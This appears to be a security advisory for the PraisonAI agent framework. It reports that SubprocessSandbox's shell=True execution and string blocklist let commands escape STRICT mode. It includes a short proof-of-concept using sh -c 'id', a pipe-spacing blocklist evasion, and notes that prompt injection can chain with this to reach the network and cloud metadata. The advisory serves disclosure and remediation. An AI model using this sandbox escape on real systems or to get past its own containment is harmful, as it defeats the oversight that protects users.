PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox

Overview

Summary

SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.

Details

sandbox_executor.py:179 (source) -> sandbox_executor.py:326 (sink)

# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands:  # sh, bash not blocked
    raise SecurityError(...)
dangerous_patterns = [
    ("| sh",   ...),   # requires space -- "id|bash" evades this
    ("| bash", ...),   # requires space
]

# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
    command,
    shell=True,
    ...
)

PoC

# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode

policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)

result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blocked_command>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.

Suggested Fix

import shlex

result = subprocess.run(
    shlex.split(command),
    shell=False,
    cwd=cwd,
    env=env,
    capture_output=capture_output,
    text=True,
    timeout=timeout
)

Affected packages

• praisonai < 4.5.97

Remediation

Upgrade to a patched release:

• praisonai 4.5.97